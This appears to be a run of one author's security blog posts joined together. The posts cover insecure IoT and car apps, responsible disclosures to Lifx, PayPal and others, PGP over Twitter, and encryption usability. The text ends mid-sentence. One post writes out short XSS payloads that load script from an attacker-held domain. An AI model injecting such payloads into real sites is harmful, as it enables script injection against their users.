Earlier this year I purchased and reviewed the TinTag. I've spent the last month trying to get hold of the company to report a serious privacy problem with their Android app. I've not received an adequate response, so I'm publishing this post to let affected users know about the issue.

The TinTag is a BLE tracker. It's designed to attach to your keys or bag. An app on your phone can send a message to the tag, which causes it to light up and make a noise. Handy if you've lost your keys and you're within Bluetooth range.

But what if you drop your keys while out jogging - how will you find them again? These tags are too small and under-powered to run a GPS chip. Instead, the app does the heavy lifting. Every time the app detects the beacon, it records the phone's location and uses that as the "last known location".

And if you've lost your phone as well? No worries! The TinTag app uploads your precise location to its web server.

Completely unencrypted!

*sigh*

Let's fire up our trusty MITM app and see what the Android TinTag app is broadcasting to the world.

First off, all data is sent in the clear to Heroku.

TinTag are sending...

• The street address of the user.
• The MAC address of the TinTag.
• The precise latitude and longitude of the user.
• The tag's ID.
• A unique user ID.

Of these, the most obvious concern is the exact location of the user. They aren't encrypted in transit - what's the betting that they're encrypted on the server?

Given that TinTag haven't updated their Android app since the beginning of the year, do you think they've updated their server's software recently?

If TinTag's servers are attacked - someone could get your entire location history.

In part, I must say that I blame Heroku for some of these problems. They could make their domains SSL enabled by default - but they don't. Unfortunately, even if Heroku switched on SSL for all their users - that wouldn't help TinTag. Digging into the app's code, this is what we find...

My Java is a little rusty - but I'm reasonably sure that code is a "radically insecure" way to accept all HTTPS connections even if they are not valid!

The sad thing is, the TinTag is a great piece of hardware. It has a nifty wireless recharger, has brigher lights and a louder speaker than any other BLE token I've found. The software is so desperately insecure with your privacy that owners should stop using it immediately.

Timeline

• 17 October - repeated attempts to contact the company via their website.
• 26 October - contacted the CEO via LinkedIn.
• 01 November - response from CEO promising to look in to it.
• No further contact from TingTag despite trying to contact them.
• 17 November - publication.

During the rescue efforts, the Italian Red Cross sends this tweet:

Croce Rossa Italiana

@crocerossa

#Terremoto, per favorire comunicazioni e operazioni di soccorso vi invitiamo a togliere la password della rete wi-fi pic.x.com/U9baz8F7WG

---

It says "To facilitate communications and rescue operations we invite you to remove the password of the wi-fi network".

Should you do this?

No.

Let me be clear.

No no no no no no no!

I sound like a curmudgeonly killjoy. I sound heartless. I sound nasty. I hate that. But this is incredibly dangerous advice. Both to citizens and rescuers.

In disasters there are always criminals looking to take advantage of the good-natured. I'm not saying the the Red Cross are criminals - I'm saying that they're creating an environment which makes it very easy for for criminality to flourish.

Why Is This A Bad Idea?

Imagine if they said "please hand any spare cash over to people dressed as firefighters" or "give your telephone to anyone in a red jacket" or "we need blood supplies - please invite in anyone who knocks on your door". You'd be crazy to follow that advice. It's similar for unprotecting your WiFi.

What could a malicious user do while connected to your network? They could, potentially...

• Send illegal communications using your IP address.
• Download illegal material.
• Break in to all the computers on your network.
• Control any Internet connected devices and/or hack them.
• Monitor all of your communications traffic.

But, suppose you did open your WiFi. And suppose you were malicious. When a Red Cross worker - or anyone else - connected to your WiFi, you could...

• Monitor their communications.
• Redirect them to malicious websites.
• Attempt to hack their computers.

I would hope that every emergency worker immediately fires up a VPN before transmitting sensitive data - but I bet you that they don't.

What Should I Do?

Assuming that your Internet connection is still up, there are three sensible things to do.

1. Set up a guest network. Most modern equipment will allow you to do this. It will give you protection from most hackers using your network. It doesn't protect you against illegal usage of your connection, nor does it protect people who connect to it.
2. Disconnect every single piece of equipment from your network first - including WiFi devices. Once the disaster has passed, reset your router and set everything up again. That may sound paranoid, but it is the only way to be sure nothing evil is lurking on there.
3. Let your friends and family know you are safe, and then switch your phone to aeroplane mode. Stop clogging up the airwaves and give the rescuers priority.

Aren't You A Little Paranoid?

Perhaps. Are there really gangs of criminal hackers rushing to disaster zones in order to exploit people? Probably not.

Does a little Italian village contain enough uber-hackers to break in to the Red Cross and cause havoc? Again, doubtful.

It is human nature to help out people in distress. It's the most natural thing in the world to offer comfort, food, and shelter to those who have lost everything.

But we have to stop training people to think that security is merely an inconvenience. That security can be disposed of during times of crisis when it is needed most. We have to provide tools which will let people help in an emergency but not leave themselves vulnerable.

In the meantime, may I please encourage you to donate to Télécoms Sans Frontière - they do an incredible job providing emergency communications infrastructure in disaster zones.

You can read my further thoughts in Wired. There is a dissenting view from Dr Joss Wright on the BBC

sigh Annoying but probably necessary.

The problem was, every time I tried to change my password, it told me that my old password was invalid. The one that I'd just used to log in. I use the incredible LastPass Password Manager - so I knew I wasn't typing it incorrectly.

It took a few tries, but I finally figured out what was going wrong. When I'd set up the account, LastPass had generated a secure 32 character password. But the "old password" field had artificially restricted passwords to a maximum of 20 characters.

Well, that's easy enough to change! Crack open Firefox's Inspect Element tool, change the maxlength value, and submit again.

What utter cockwombles.

Can you see any mention of a maximum length in the password rules? Minimum, sure, but no max.

Naturally, this 20 character restriction isn't enforced on the login page.

Take a bow, "Willis Towers Watson", your web developers are actively making the world a worse place. I'd ring you up to complain, but naturally you're closed on a Sunday.

I was minded recently to switch on 2-Factor-Authentication (2FA) for all my accounts. Whenever I want to log in, I give my username and password - then I receive a text message which can only be used once.

Searching for 2FA on PayPal doesn't return any results - nor does searching for SMS. *sigh* Ah! Wait! They call it "Security Key" - perhaps if I search for that… Nope. Nothing.

With help from a third-party site, I found out how to turn it on. Minus five points for Hufflepuff there.

Now, when I try to log in via the web, PayPal will send me a text message - a welcome measure of security!

Unless, of course, I try logging in via the mobile web. What band of chuckle-fucks thought that this was an acceptable solution? There's no technological reason not to have this page trigger an SMS - indeed some other mobile pages are quite happy to let me use 2FA.

I switched my mobile browser into desktop mode and was able to complete the transaction. What a farce.

PayPal is now a twisted nest of technologies - some of which can never be updated for fear of bringing the whole crumbling edifice crashing to the ground. If PayPal really cared about your security then they'd make switching on and using 2FA as easy as possible. Instead, they've done the bare minimum to tick a box in the product feature list and not bothered to test it thoroughly.

There is currently no way to report security issues like this to PayPal - their page at https://www.paypal.com/webapps/mpp/security/reporting-security-issues has been broken for months.

I eventually found an email address for them and, after some toing-and-froing, I got this response:

PayPal needs to make the usability of its security a priority. At the moment, it is failing.

One of the best things about them is their open API. Sure, you can use IFTTT if you want something easy - but us 1337 hax0rs want an API and Lifx provides it.

The API is pretty secure - good use of OAuth and tokens to make sure whatever you're building is resistant to infiltration. I mean, imagine if someone hacked your lightbulbs and ... err... switched off the light while you were reading. That'd be dreadful!

As I was wandering through the developer documentation, I noticed that there was a prominent login form. The pages were not served over HTTPS, and the form was similarly submitting to an insecure page. Typing in "https" before the URL showed a mismatched certificate error.

Not a great user experience - and a good way for customers to have their passwords intercepted.

24th April 2016

I took a quick note of my findings and used Lifx's contact form to alert them.

The URLs http://api.developer.lifx.com/ and http://lan.developer.lifx.com/ ask developers for their email address and password.

The site is NOT served over httpS. If a user tries to manually force it to https, they get a mismatched certificate error.

If a developer is on an insecure connection, this could cause their credentials to leak.

Can I strongly urge you to fix the certificates on the site and to reset the passwords of any user who has been affected.

27th April

I received this very positive note back from one of their engineers.

Thank you for reporting this issue to us. At LIFX we take our users and developers security extremely seriously. Here we clearly dropped the ball, and we need to be better.

Today I obtained certificates, sent them to our provider and set the documentation sites to enforce SSL. Finally I also changed most links to link to the SSL version of the site by default. We will be internally discussing how to best inform anyone affected.

Again thank you for your time finding and reporting this vulnerability to us. Your efforts have made us all more secure.

That's a pretty good response time for a company - especially given the timezone differences.

Conclusions

I checked, and the sites are now securely behind https.

It appears that the "log in" form is actually to log in to the ReadMe.IO documentation service. I would expect that most developers would see "Log In" and use their Lifx credentials. This means that ReadMe.IO (who I'm sure are honourable people) may inadvertently be receiving usernames and passwords for an entirely different service.

If you've previously clicked that Log In button, it would be sensible to reset your password and revoke and OAuth tokens you may have generated.

If you run a website, think hard about which login prompts you display - and whether tired developers are likely to make mistakes.

Bounty!

I obviously wasn't expecting a million dollar payout - but was pleasantly surprised to receive a clutch of new bulbs as a thank you gift. Anyway, here's me casting a spell on one of my bulbs.

Terence Eden is on Mastodon

@edent

That think where you have a kickarse idea only to find some beat you to it by FOUR DAYS! x.com/kelvzhan/statu…

Kelvin Zhang

@KelvZhan

First working implementation of voice controlled @LIFX lights using Python Jasper + lifx-cli @smarthall pic.x.com/lkfpjo7onz

---

---

Terence Eden is on Mastodon

@edent

Replying to @edentWoo! Using the WebKit Speech Recognition API I can now control my Lifx bulbs like Harry Potter :-) pic.x.com/ykphwepthy

---

Read more on my GitHub repo.

For example, my Smart TV and my Lifx don't require a password to access. Any device on my network can control them. That's extremely convenient - but it's a security nightmare.

Consider, for a moment, my WiFi Smoke Alarm. It periodically connects to the Internet to check for software updates. What if a hacker uploads fake firmware which scans for local devices and abuses them? Or opens up a tunnel into my network for criminals to access?

We're all one software update away from being infiltrated.

How should a suitably paranoid person design their home network?

All Together Now!

The naïve design is just to shove everything on one network.

Without a doubt this is the easiest to configure - just tell each device the WiFi password - but it's the most dangerous. Any device can talk to any other device. If your SmartTV receives a commercial for a DELICIOUS MILLER LITE™ BEER OF CHAMPIONS® it might connect to your smart fridge (no password - because who needs security on a domestic appliance) and order you an unwanted beer.

Or the Taiwanese company which made your lightbulb might get sold to a company who have no ethical qualms about exploring your NAS to see what sort of "exotic" material you have on there. Then encrypting and ransoming it back to you.

Blind Segregation

The router supplied by my ISP allows me to set up two isolated networks. I currently have a guest network which is open to anyone who visits (although that, in itself, may not be a wise idea).

So I could put my untrusted devices on a separate network to the devices I have a reasonably high degree of trust.

This makes accessing those devices less convenient - and it still means my Smart Toaster can turn off my Security Cameras.

Complete Separation

Suppose I set up a separate subnet for each device? 192.168.0.* for trusted devices, 192.168.1.* for all the security cameras. 192.168.2.* for all the Samsung kitchen appliances. And so on and so forth.

A chore to set up, but this has a superficial charm. Until I come to do anything. I want my phone's app to be able to control my games console. I want my TV to be able to read media off my local server.

Of course, that assumes that a regular ISP supplied router can do that. Hint - it probably can't.

Complex Firewalls

Ok, so now we move way beyond what a domestic router can normally do and into professional grade stuff. Forgive me if my use of terminology isn't 100%.

Each device added to the network needs to be part of an access control list. The firewall determines if any two devices are allowed to communicate with each other. For example:

• My tablet and laptop should be able to connect to everything.
• My Kindle should only have access to the Internet.
• My fridge and freezer can talk to each other - but nothing else.
• My solar panels can talk to my solar battery - but only on port 80.

What an absolute nightmare to set up. I'm not even sure what sort of router I'd need to buy in order to make something like that possible. How easy would it be to misconfigure? One errant mouse click and my Sonos speaker can unlock my front door when it plays a specifically crafted MP3...

How to build this?

I pride myself on being relatively tech savy. I've got around 40 Internet connected devices around the house - only some of which are under my direct control.

I've asked this question on the Security StackExchange - but I'd be grateful for any wisdom from you, dear reader. Are there any products that you can suggest?

Or, do I just give in gracefully? Stick strong passwords on everything which can be protected, and hope that none of me devices become part of the Internet of Traitors?

Here's a fun little game for all the family! What is the minimum number of characters required to perform a successful XSS attack?

Let's take an entirely theoretical example - suppose we have a site which echos back user input without sanitising it. So a search for " <em>" turns the whole page italic. ahem

A hacker might think, "Hurrah! Now I can directly inject JavaScript into the page. MWAHAHAHA!"

But wait, young grasshopper, for there is a fly in the ointment. What if the developer of the site saw fit to restrict the number of characters echoed back to a mere 20? (Note, this limitation isn't set by a maxlength attribute, but rather a server-side limitation.) Is that enough for mischief?

20 characters of JavaScript gets us <script>alert(1);</s

That's not even enough to make an annoying pop-up!

How about an iFrame? Load up something dastardly! <iframe src="http://

Hmmm... We can use protocol-relative addresses to save us from having to use "http:" <iframe src=//bit.ly Normally, that wouldn't be enough to do anything with.

Suppose we control a really short domain name like t.co

Aha! Success. Just about. There are an extremely limited number of 4 character domains available - so this is an incredibly unlikely attack vector.

Perhaps we can load a script from an external resource?

<script src=//ab.cd>

Ooof! Again, just about possible if we control a minuscule domain.

If we can send a malicious payload to the user, perhaps via an image, could that work?

The maximum we can use is something like <img src=//a.bc/123>.

So, if we contained a short domain, and were able to host (or redirect to) a malicious file, there's a slim chance of success.

A few people have attempted to find what the Minimum Viable XSS is. The general consensus is that it would take more than 20 characters.

I hope that I have demonstrated two things.

1. If you have the resources to own a short domain, it is just about possible to craft an XSS in 20 characters.
2. Reducing the number of characters your site echos back is not a sensible way to filter out attacks!

Here endeth the lesson.

Responsible Disclosure

I contacted the Ashmolean in January regarding this flaw. It was fixed in early March.

We used to have separate categories of device: washing machines, VCRs, phones, cars, but now we just have computers in different cases. For example, modern cars are computers we put our bodies in and Boeing 747s are flying Solaris boxes, whereas hearing aids and pacemakers are computers we put in our body.

The Coming Civil War over General Purpose Computing - Cory Doctorow Emphasis added.

The i3 has numerous software defects. Despite having a capable 3G modem, all major software updates have to be performed by an authorised dealer. That means booking your car in and waiting for a day or two for the update to take place.

So, that's the major software updates, what about the minor ones? It turns out that the entertainment system can be updated by anyone with a USB stick and access to your vehicle.

The BMW Group allows part of the vehicle software to be updated, to enable compatibility of the latest tested Bluetooth or USB devices in the vehicle. This offer is available for selected vehicles manufactured after March 2010.

You can perform this software update yourself. To do so, all you need is a standard USB memory stick with sufficient memory capacity.

BMW Connected Drive - Software Updates

The website doesn't use SSL. I mean, everything is unencrypted including the software download!

The user enters their Vehicle Identification number, it is sent across to an unencrypted API.

http://www.bmw.com/_common/shared/owners/bluetooth/jsp/serviceV2.jsp
   ?op=getVINData
   &requestType=bluetooth
   &language=en
   &vin=1234567
   &domain=kisu-check

The user is asked to agree to a "usage right agreement" - but it's not necessary; the software is available to anyone without requiring authentication.

For example, the i3's software is available at

• http://www.bmw.com/_common/shared/owners/bluetooth/bin/UPD07012.bin

No need to guess a VIN or agree to any terms. Just click and download.

A look through the various BMW forums shows that software updates for different cars all follow a similar pattern.

Why Is This A Bad Thing™?

Because the software download goes via http rather than https, it is theoretically possible for an attacker to modify the file before it gets to you.

One would hope that the firmware is cryptographically signed so that it cannot be maliciously modified - but given BMW's fairly poor record on securing their cars (original in German), it's not guaranteed.

OK, what's the worst that could happen with a phony software update for a glorified car radio?

My friend Marc Rogers successfully hacked the Tesla Model S in part using the car's infotainment system. It turns out that entertainment systems often talk to the rest of the car via a CAN bus. If the car isn't fully secured, it is theoretically possible that a rogue internal component would be able to endanger the car and its passengers.

There's a secondary issue - car manufacturers are training people to stick untrusted USB sticks into their cars.

When FIAT had to update the software on 1.4 million cars, they opted to send USB sticks in the post to affected drivers.

Terence Eden is on Mastodon

@edent

Oh, a *secure* USB.
There's no way that could be malicious…
#antipattern pic.x.com/kqhtw51zq6

---

If you receive a USB stick in the post, how can you be sure that it doesn't contain malicious software?

Hopefully, the car should reject any unauthorised tampering - but we all know that security measures can be bypassed by sufficiently motivated adversaries.

Decoding The Firmware

Alas, dear reader, here is where I must confess my ignorance. Decompiling firmware is way outside my area of expertise. If anyone with greater skills can investigate further, I'd be grateful.

Firstly, a quick run of binwalk gives us:

POSIX tar archive (GNU), owner user name: "01E40_110_005_010.xml"

Renaming the .bin to .tar allows us to extract the 7 firmware files and an XML file.

Within the XML, we find: <SWIP digalg="sha256" signalg="sha256withRSA" version="0.3.6" ... Which would indicate that the software is self-signed and probably secure against forgery.

Each of the firmware files contains a file called "bungstabelle.sgbm" which appears to be another cryptographic signature.

Judging from the files, it would appear that the infotainment system is made by Magneti Marelli with components by Wind River, AutoSAR, and Nvidia Tegra. Looking at the copious mentions of systemd and freedesktop it's a Linux system!

Hmmm... I wonder if they're respecting the GPL...?

The firmware isn't encrypted - so anyone can read the code and comments - but it does appear to be signed which makes it unlikely that a user could accidentally install corrupted software.

The Five Star Automotive Cyber Safety Program suggests to manufacturers that:

While updating is a necessary capability, an insecure update design could facilitate adversaries or trigger accidents. Authenticity and quality verification preserves the integrity of the updates and leads to a safer mechanism that can prevent digital tampering or unexpected failures.

From my limited understanding of the way the firmware is designed, it should be robust enough to prevent malicious users from infecting it with anything nasty.

However, given BMW's troubled history with HTTPS, I think it would be sensible for them to ensure all their software was delivered securely.

LetsSaveMoney.com is a "money saving" site. It offers discounts on a wide range of products and services, and is financed through affiliate marketing. Links removed, because the site has disappeared.

My Trade Union, Prospect, has just launched a white-labelled "Members' Rewards" based on LetsSaveMoney - that's how I came across this bug.

It's a depressingly familiar story - do a search which includes some HTML and watch it being echoed back to the user.

Once you can get a page to load an external resource, it's game over for security. An attacker can load up JavaScript, prompt the user for their password, display unauthorised images, etc.

I posted a report on XSSposed and alerted LetsSaveMoney via their "Contact Us" form.

Impressively, I received an email back a few minutes later. I provided the details over email and the site was fixed an hour later!

That's an excellent response time.

If you run a website, familiarise yourself with OWASP's Top 10 Web Vulnerabilities. If you're a worker in a high-tech industry, you should consider joining Prospect as your Trade Union.

Bounty

While I neither asked for, nor expected, a reward - I was delighted to receive an Xmas gift hamper as a token of their appreciation. Hurrah!

I read an article yesterday which seemed to imply that Twitter was mangling PGP encrypted messages (albeit unintentionally).

There is a minor bug in Twitter's web interface - but PGP seems to work perfectly in apps. So, I want to demonstrate how it can be done successfully.

I've written this article with a non-technical audience in mind - feel free to point out any areas where I can make my explanations more simple.

Get My Public Key

Suppose you want to send me a message - but you are worried about the contents being seen by someone else. If you encrypt the message to me, only I will be able to read it. In order to encrypt, you need to know my Public Key. This is a digital lock which only I can open.

The website Keybase.io contains a list of people's public keys. You can visit Keybase.io/edent to see mine.

Encrypt The Message

Keybase gives you the option of encrypting a message to me. Just type what you want to send and hit the "Encrypt" button.

Hey presto! A big blob of text which can only be decrypted by me.

Send The Message

It's as simple as copying the entire block of encrypted text and pasting it into a Twitter Direct Message.

Ok! Stop! There is a minor problem here. In order for PGP encrypted messages to work, it is important that they are not altered in any way. A rogue space, or missed character, will render the message completed undecipherable.

Some Twitter clients will "helpfully" remove line breaks. A proper PGP message should look like this:

-----BEGIN PGP MESSAGE-----
Version: Keybase OpenPGP v2.0.43
Comment: https://keybase.io/crypto

wcFMAz8xGBvPCGIHAQ//aaPuyglRhwo0hzeVuyDC8pgIGyS7f5oyp99wMRsIh8G0
i6kuo9+dPVNJ+gGLC2B5eMuoYE0Bjv/2YfBkxaJ6HTacniUEgD9x7OxNnQY2PCyi

Not like this:

-----BEGIN PGP MESSAGE----- Version: Keybase OpenPGP v2.0.43 Comment: https://keybase.io/crypto  wcFMAz8xGBvPCGIHAQ//aaPuyglRhwo0hzeVuyDC8pgIGyS7f5oyp99wMRsIh8G0 i6kuo9+dPVNJ+gGLC2B5eMuoYE0Bjv/2YfBkxaJ6HTacniUEgD9x7OxNnQY2PCyi

The Twitter website preserve newlines when you send a message - make sure that your app also does so.

A Word About Message Length

Twitter touts DMs as being "unlimited" - in reality, there's a limit of 10,000 characters. PGP is a relatively efficient way of encrypting text so, depending on your message, you can fit around 9,000 plain text characters into a 10,000 character encrypted message.

In addition, you may only send up to 1,000 Direct Messages per day.

So, no DMing Harry Potter length novels!

Decrypting

Ok, this is where it gets a bit more technical.

It should be fairly easy to decrypt a message that you have been sent - but it will depend on your Twitter client.

When copying from a browser, it is possible that newlines will not be preserved - this may cause your decryption app to think that the message is corrupted.

This is a bug with Twitter's web and mobile-web sites. I've reported it to them. I think they should be encoding \n as <br/> to facilitate copying and pasting.

I've found that copying from apps (on Android) preserves all the line breaks and keeps the formatting intact.

On Android, I use OpenKeyChain. I copy the message from my Twitter client and OpenKeyChain can decrypt directly from my phone's clipboard.

You can also use Keybase to host your private key and decrypt messages in the browser. This is at your own risk.

That's really all there is to it. I've successfully exchanged encrypted messages with several people. The only problems have occurred when trying to copy the message from the Twitter web interface - when using apps everything has been fine.

Obviously, this isn't a fully automated solution (yet!) it would be great if Keybase allowed users to send encrypted DMs directly from its site - or if apps could start offering this natively.

Colin Mahns has written an excellent tutorial for how to integrate OTR (a different encryption protocol) into messaging apps which can work with Twitter.

But, for now, if you want to encrypt a message to me, you can successfully do so using nothing other than a web-browser and a Twitter account.

Have fun!

Update! It's possible to send encrypted DMs directly from a website or the command line.

Using Twitter Web Intents it's possible to send a Direct Message. If your message starts D edent it will be converted into a DM to me.

So, if we URL Encode the message we want to send:

https://twitter.com/intent/tweet?text=D%20edent%20testing

We can pre-populate the compose window with the DM.

It looks like the message is too long - but the "Tweet" button works and it will be sent to the user:

Hopefully Twitter will one day make it slightly easier - but for now, at least it works!

You can only sign in with Twitter. That's fine, it's a Twitter product. So I pressed the sign-in button and this is the screen I saw.

Is that the Twitter mobile website embedded into the app or is it a phishing page? I've no way of knowing!

I can't see the URL bar - for all I know, this could be an elaborate forgery. I have to completely trust that this product is actually provided by Twitter. In Periscope's case, it probably is. But this is teaching users a dangerous anti-pattern that the web community has tried so hard to eradicate. And, no, 2FA doesn't really help us here.

Let's take a step back and look at what the problem is.

In the bad old days, if you downloaded a 3rd party app (for Twitter, Facebook, email, etc) the app would ask you for your username and password. This is dangerous. You have no idea what the app is doing with your password. Is it saving it? Selling it to criminals? Silently changing all your settings? Who knows!

So, we introduce a more secure way of doing things, at the cost of a little more complexity.

OAuth

Here's how OAuth works (from a user's point of view - there's a lot more stuff going on in the background!)

1. Click "Log in with Twitter" (or whichever service)
2. Get taken to Twitter's website.
3. Login (if you're not already).
4. Get redirected back to the app
   1. Ideally the redirect automatically logs you in.
   2. In some circumstances Twitter gives you a PIN and says "Type this in to the app"

With OAuth you never need to give up your password to a random app.

It can be slightly cumbersome - especially if you have to remember a 4 digit PIN to complete the login. But I'm strongly in favour of educating users not to give out their passwords willy-nilly.

In Periscope's case, the user has to trust that the app hasn't just ripped-off the Twitter website. There's absolutely no way to verify that it is a genuine and secure login page.

Even if you have 2-Factor Authentication (where Twitter texts you a login code) you're not safe. Why? Because if the app is intercepting your username and password, it can also intercept your 2FA code. Sure, it can only use it for a minute or so (with some restrictions) - but that's enough time to completely take over your account.

As software developers, we have to stop encouraging this anti-pattern. Periscope is teaching users that it's OK to type their password into any box which looks like it's authentic.

Some Solutions

Any solution has to make a user leave the untrusted app and use a trusted service. Sorry, that's just how it is. You can't delegate your trust to an unknown entity.

Here are a few possible solutions - with varying degrees of complexity for the user and programmer.

• Standard web-based OAuth. Take the user to the web where they can check the URL, validate the certificate, see if they're already logged in, etc.
• SMS based OAuth. Type in your username (only!) to the app, receive an SMS with a one-time PIN/Password. It's the equivalent of "Click here to verify your email address."
• Message based OAuth. Type in your username (only!) to the app. Receive a Twitter DM with a one-time PIN/Password. Retrieve the message using your trusted Twitter app or website.
• Use Twitter Digits - only works if the phone number associated with the account is the phone being used.

Look, all of these have a minor impact on how easy it is for a user to sign in. Guess what - so does asking for a password. If we wanted to make sign in nice and easy, we'd just say "Enter your username" and trust that no-one will abuse the system.

We must secure our users and help them to stay secure in the future. Periscope's login model is a retrograde step for user security.

Update!

Here's a video showing the same problem in imgur's new Android app.

The Guardian is very hot on security. Many of their writers have PGP keys which they publicly advertise. In theory, that's great (complaints about PGP notwithstanding) - but the reality shows just how tricky it is to act in a security conscious manner.

Have a look at Alan's Twitter profile.

In the bio, we see a link - http://bit.ly/1g4S9WR which points to http://static.guim.co.uk/ni/1393869928289/Public-Key.asc.

Let's take a look at a few reasons why this is sub-optimal.

Control

Who controls bit.ly? Not Alan. Not the Guardian. How easy would it be for a rogue employee to subtly redirect that URL elsewhere?

Gone are the days of Libya exercising its control on the .ly space (you did know that's what .ly stood for, right?) But that doesn't mean you should trust a third party with directing people to sensitive information!

Bit.ly isn't accessible over HTTPS. A sufficiently determined attacker can see who is accessing the page - and possibly redirect the URL to a different site.

Information Leakage

Most bit.ly links allow you to append a "+" to the URL to see a page of statistics. I've written about this several times.

Off we go to http://bit.ly/1g4S9WR+

We can see when a cluster of people have visited the URL and what country they're in. Is this leaking the identity of a journalistic source? Not directly - but it could help narrow down the target.

Homographic Disambiguation

Bit.ly allows you to create your own custom URLs. Useful for pulling pranks - and extremely useful for redirecting people.

So, if someone hacked the Twitter account and replaced http://bit.ly/1g4S9WR with http://bit.ly/Ig4S9WR - how long would it be before someone noticed? The latter example uses an upper-case i rather than the numeral 1 - and points to my PGP key.

Final Destination

But, let's assume that no-one has monkeyed with the shortlink. We end up at http://static.guim.co.uk/ni/1393869928289/Public-Key.asc.

What is "guim.co.uk"? I guess it's a server used by the GUardian to serve IMages - but it doesn't quite carry the same trust as seeing the public key on TheGuardian.com

guim also suffers from security issues. It's not served over HTTPS - which means that it's possible to see who is accessing the page and, crucially, a man-in-the-middle could alter its contents.

Putting it all together

By exploiting one or all of these weaknesses, a malicious attacker could create quite a convincing forgery.

If a random Bit.ly link took you to GUlM.CO.UK (a lower case L) and served you a PGP key for alan@guardian-email.co.uk (not the real address) - would you be convinced that it was a legitimate key for the correct user?

Fixing It

This is a pretty simple fix.

• Use a direct link...
• ...to a trustworth site...
• ...served over HTTPS...
• ...
• That's it!

Security is, sadly, too hard for most people. I wrote about how freedom fighters in South Africa were unable to maintain security due to human weaknesses - nothing much has changed in the intervening years.

I've shared these tips directly with The Guardian's security people, and they are in the process of changing to a more robust system.

I've been reading "Think Like A Freak" by the authors of Freakonomics. In it, the authors ask us to start thinking more like maverick economists. It's a fine way to increase your cognative ability and get a fresh perspective on the world.

I'd like to ask you to think like a hacker. Find every weakness in the chain and work to eliminate it.

This is a case study focusing on the usability of encryption systems as used by political dissidents in Apartheid era South Africa.

Background - South Africa

Between 1948 and 1994, the nation of South Africa was ruled by an ethnically white minority. They set in place a system of government – known as Apartheid - which suppressed, brutalised and discriminated against other races.

The African National Congress (ANC) was formed in the early 20th Century² with the explicit aim of bringing "all Africans together as one people to defend their rights and freedoms." In 1960, it was outlawed by the ruling National Party³ and was subsequently branded a terrorist organisation by many nations⁴.

Activists working for and on behalf of the ANC were placed under intense scrutiny by the National Party and its allies. In order to safeguard their communications, the ANC needed to develop, deploy and successfully use digital encryption.

The primary source of this information comes from the ANC's monthly journal "Mayibuye". In 1995 they published a series of articles on their encryption efforts, collated in a single article: "Talking To Vula"⁵

Lines of Communication

With the ANC's leadership under extreme surveillance by a technologically superior aggressor, communications between the leadership and members were subject to interception and disruption.

Poor communications had determined the shape of our struggle. It was because our fighters and cadres could not communicate with their leaders and between themselves that the underground never developed and People's War never became a reality. "Talking To Vula"

The ANC's typical method of encrypting communications in the late 1970s was by the manual use of One Time Pads (OTPs).

While OTPs represent a theoretically uncrackable encryption, they have two fundamental flaws :

• It is difficult to distribute an OTP; it wasn't until the late 1970s that key-exchange over a public channel was solved using the Diffie-Hellman Key Exchange⁶.
• OTPs often suffer from unrecoverable errors introduced by flaws common in manual transcriptions⁷.

Activists had to manually encipher messages - a tedious and error prone process - and then manually transcribe and decipher the messages they received.

The lack of digital communications required that messages be physically distributed. This increased the latency of communication to the speed of international postal services.

It was always the same pattern: comrades would go back home feeling enthusiastic and begin by sending a series of messages. They soon came to realise that it was a futile activity as it took so much effort to say so very little and the responses, as few and far between as they were, contained little encouragement and advice.

"Talking To Vula"

These activists were fighting to free their country from the yoke of a repressive and racist government. Yet they found the long-winded process of protecting their communications just too hard.

Security is usability.

Operation Vula

The growth of the Personal Computer industry in the 1980s made digital computing increasingly affordable. The ANC's technical committee began to research digital encryption and communication over the telephone network using modems. This was known as "Operation Vula"⁸.

Modern cryptographic science frowns on the sort of self-created encryption algorithms used by Operation Vula; such algorithms often contain subtle weaknesses of which their creators are unaware^{9 10}. However, developing bespoke encryption systems was a common occurrence in the 1980s – mostly due to the United States Government forbidding the export of encryption software¹¹. This meant that strong, audited encryption was not widely available to the public.

The introduction of computer-based encrypting revolutionised the revolutionaries so that with little effort it was suddenly possible to communicate over vast distances with (apparently) total security. Messages could be long and complex, and the latency of response times were reduced.

This home-made encryption flourished for several years before it came crashing down¹².

It failed not because of technological weakness - but because of human weakness.

Usability

Maintaining secrecy is hard. Attaching computers to modems and loading secret codes is still a lot easier than the mind-numbing process of hand powered encryption; but it is an extra burden.

Individuals were careless. They knew that organising against the government could result in torture or death. Despite that, it was hard to act with 100% vigilance.

The details of Vula that the regime released to the press revealed that indeed a number of important documents had fallen into their hands. It became clearer by the day that the comrades in Durban had violated all the rules of security that we had so assiduously tried to impress upon them. Data files of confidential information were kept "in clear" on disk and keywords and key books must have been easily obtainable. The minutes of an entire underground conference were quoted by police as evidence of the plot to overthrow the government.

"Talking To Vula"

These communications were not between "hacktivists" doing it for "teh lulz", lovers exchanging sexts or business people protecting their Intellectual Property. It was between freedom fighters working against a sadistic and murderous government. Failing to maintain security would not just end with their families being tortured - it could mean the disruption of an entire political movement.

And yet that threat still was not enough to keep people acting in a security-conscious manner. "Talking to Vula" concludes with the lessons the ANC learned from running their encryption programme:

Without first-class communications you cannot carry out a successful underground operation. "Talking To Vula"

"First class" does not just refer to the technology powering the system, but also the usability of the security.

Barriers

We know that commonly used encryption programs often have fundamental flaws (such as the recent POODLE¹³ and HeartBleed¹⁴ vulnerabilities), that state-based agencies have deliberately weakened encryption standards¹⁵ and that there are theoretical attacks on cryptography using quantum computing¹⁶.

Let us assume for now that via some combination of Vernam ciphers¹⁷ and Perfect Forward Secrecy¹⁸ it is possible to create an encryption scheme which, if used correctly, can withstand sustained attack from determined adversaries. The correct use of encryption relies on, at a minimum, the following behaviours :

• Users understanding why encryption is necessary.
• A provably secure way for users to generate encryption keys.
• Securely storing the encryption keys.
• Exchanging keys.
• Validating that the keys are trusted by the recipient.
• Correct enciphering of messages.
• Correct deciphering of messages.
• Validating the provenance of messages.
• Securely storing or destroying messages.
• Updating behaviours and technologies in the light of emergent threats.

If any of these behaviours are weak, the entire encryption scheme becomes vulnerable.

The Challenge

Is it possible to create a system that simultaneously satisfies the conditions of desirability (the understanding of its necessity) and usability (the inability to use incorrectly)?

Modern systems like GPG and Keybase.io have improved on the usability of older encryption systems – but they still require the user to act in an almost perfect manner.

A recent high profile case illustrates that, despite the improvement of these systems, intelligent and committed users still make basic mistakes :

David Miranda was carrying password for secret files on piece of paper

A journalist’s partner who was detained carrying thousands of British intelligence documents through Heathrow airport was also holding the password to an encrypted file written on a piece of paper, the government has disclosed.

Daily Telegraph. 2013-08-30

This careless attitude was present 23 years earlier, during Vula :

